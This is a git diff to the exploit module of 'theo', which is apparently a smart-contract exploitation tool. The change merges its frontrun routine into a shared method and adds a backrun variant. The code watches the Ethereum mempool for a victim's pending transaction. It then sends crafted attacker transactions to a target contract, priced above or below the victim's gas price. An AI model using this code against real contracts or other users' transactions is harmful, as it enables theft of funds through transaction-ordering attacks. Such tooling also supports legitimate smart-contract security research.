Merge branch 'master' of github.com:cleanunicorn/theo

theo/exploit/exploit.py

@@ -113,7 +113,15 @@ def execute(self, nonce=None):
 
         self.logger.debug(receipts)
 
-    def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
+    def _front_back_run(
+        self, flush=False, nonce_index=None, wait_txs=None, send_txs=None, run_type=None
+    ):
+        if run_type is None:
+            self.logger.error(
+                "Must specify if it should frontrun or backrun transactions."
+            )
+            return
+
         self.logger.info("Scanning the mem pool for transactions...")
 
         if nonce_index is None:
@@ -149,9 +157,9 @@ def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
                 "Found tx: {hash}".format(hash=victim_tx.get("hash").hex())
             )
 
-            frontrun_tx = {
+            run_tx = {
+                "from": self.account,
                 "to": self.contract,
-                "gasPrice": hex(victim_tx["gasPrice"] + self.gas_price_increment),
                 "data": send_txs[index]
                 .data.replace(
                     "deadbeefdeadbeefdeadbeefdeadbeefdeadbeef", self.account[2:]
@@ -161,21 +169,28 @@ def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
                 "value": send_txs[index].value,
                 "nonce": nonce_index,
             }
+            if run_type == "frontrun":
+                run_tx["gasPrice"] = hex(
+                    victim_tx["gasPrice"] + self.gas_price_increment
+                )
+            elif run_type == "backrun":
+                run_tx["gasPrice"] = hex(
+                    victim_tx["gasPrice"] - self.gas_price_increment
+                )
+
             nonce_index += 1
 
             # Estimate gas
             if self.gas_estimate is True:
                 try:
-                    frontrun_tx["gas"] = (
-                        self.w3.eth.estimateGas(frontrun_tx) + self.gas_increment
-                    )
-                    self.send_tx(frontrun_tx)
+                    run_tx["gas"] = self.w3.eth.estimateGas(run_tx) + self.gas_increment
+                    self.send_tx(run_tx)
                 except ValueError:
                     self.logger.error("Could not estimate gas.")
                 except Exception as e:
                     self.logger.error("Exception caught: {}".format(e))
             else:
-                self.send_tx(frontrun_tx)
+                self.send_tx(run_tx)
 
             index += 1
 
@@ -191,6 +206,24 @@ def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
             )
         )
 
+    def frontrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
+        self._front_back_run(
+            flush=flush,
+            nonce_index=nonce_index,
+            wait_txs=wait_txs,
+            send_txs=send_txs,
+            run_type="frontrun",
+        )
+
+    def backrun(self, flush=False, nonce_index=None, wait_txs=None, send_txs=None):
+        self._front_back_run(
+            flush=flush,
+            nonce_index=nonce_index,
+            wait_txs=wait_txs,
+            send_txs=send_txs,
+            run_type="backrun",
+        )
+
     def send_tx(self, tx: dict) -> str:
         # Make sure the addresses are checksummed.
         tx["to"] = Web3.toChecksumAddress(tx["to"])